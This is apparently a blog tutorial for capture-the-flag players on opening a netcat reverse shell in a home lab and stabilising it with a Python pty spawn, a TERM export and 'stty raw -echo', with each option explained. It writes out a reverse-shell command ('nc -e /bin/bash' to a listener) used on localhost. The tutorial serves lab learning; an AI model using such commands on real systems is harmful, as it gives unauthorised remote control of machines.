When doing a CTF challenge, typically getting a reverse shell is the important first step. But there are problems. History doesn’t work. Up and Down Keys create weird errors. Ctrl + c just kills off the reverse shell. Typing “/bin/bash” doesn’t make anything better and worse, sudo, su- vim and tab completion are all broken. What is needed is to do is to “Stabilize a Reverse Shell”. Some of you might even be aware of the few commands that actually do it, but what exactly is going on. In this post I will discuss, what is a reverse shell and why should we stabilize it.
In Short
Sometimes you just need the code to stabilize.
python3 -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm
Ctrl z
stty raw -echo; fg
Table of Contents
Set Up
For this I will use a Kali Linux Install based on the 22.04 build As my emulation system. Also I will use an second ubuntu 22.04 (with the hostname, hackabox) system with ncat and Python3 installed. . You can use any Modern Linux System but you will need Python and ncat installed to proceed.
Reverse Shell
I am a great believer in learning by doing so lets have a go a creating a Reverse shell in Python and Perl and then stabilize it.
Setting up a Reverse Shell
On my kali Linux system I will open two terminal windows, in one of the terminal Windows I will run an ncat listener using the command
nc -vlnp 1234
Lets break down this command.
Option | Meaning |
-v | Show Verbose Output |
-l | Put netcat into listening mode |
-n | Do not do dns lookups of ip addresses. |
-p 1234 | Listen on Port 1234 |
In the second window, I will connect to the ncat window by using ncat to send the the bash shell.
nc -e /bin/bash 127.0.0.1 1234
Lets break this command down
Option | Meaning |
-e /bin/bash | the command which output you want to send to the remote ncat listener. |
127.0.0.1 | The remote host we need to connect to |
1234 | The remote port of the host we need t connect to |
And all going well you will have a remote shell.
If you play around with this you will find that history, tab completion, sudo, vi and lots of other stuff is not working. This is because bash is not meant to used in this way. It is not designed to be forward via ncat over the network to another ncat listener. So unfortunately one of the worse things is standard bash escape sequences are interacting with the shell on the emulation machine and will kill the remote shell. Ctrl + c, or Ctrl + z will wipe it out and return you to the original host.
Also Variables like PATH, CWD, ENV, PS1 also do not work as expected. All of this adds up to one big mess and so we need to convert it into a standard shell.
Setting up a Reverse Shell with Python
This works by using pythons pty module to spawn a new bash shell process on top of the reverse shell.
python3 -c "import pty;pty.spawn('/bin/bash')"
This gives us bash but not all the features of it. A Ctrl + c or an Ctrl + z will still break it on you and return to the emulation system.
Finalize that Stabilization
Once the Python has launched a new pseudo terminal with bash running we can do some more trickery to make it work even better.
Therefore we set the TERM variable to xterm. So this will instruct our Bash shell what type of Terminal Emulator is connecting. However in most cases xterm will do, but there are others such as vt100 (very common in unix systems), linux, etc.
export TERM=xterm
What is xterm?
The xterm program is a terminal emulator for the X Window System. It was originally developed in the mid-1980s to provide DEC VT102 and Tektronix 4014 compatible terminals for programs that cannot use the window system directly. This defines how many rows and columns are available for the screen, colours output, and a lot of other things.
Next up is to send the following keyboard keys to the Reverse shell.
Ctrl z
This will put the current shell into the background and put us back into our initial emulation machine.
stty
And last but not least we need to set some parameters on our local emulation system that are forwarded (or not forwarded in some cases) to the system with the reverse shell.
stty raw -echo; fg
Lets break this one down.
Command/Argument | Description |
stty | Change current Terminal settings. Options that have a minus sign turns them off and without minus sign turns them on. |
raw | This is a wrapper for a bunch of stty commands. The most important of which is -isig, which tells the terminal on our emulation system to ignore signals which would drop us back to our emulation machine, like ctrl c or ctrl z. However ctrl c and ctrl z will work as expected when we move into in the reverse shell. Take a look at the raw option in the man page of stty. There is quite a bit too it. |
-echo | Turns off echoing the command back onto the terminal. Not always needed but should be added. Sometimes in reverse shells you see the command you typed displayed right back at you. |
;fg | When the completed stty command is executed the terminal starts to misbehave so appending the fg (puts backgrounded process into the foreground of the terminal) command undoes the Ctrl z we did earlier and delivers us right back into our reverse shell. |
Wrap Up
The prompt we get from a reverse shell is not perfect but a great start to beating a CTF challenge. With just a little knowledge we can tidy it up and get a very usable shell. Any comments or questions post them below.
Comments are closed.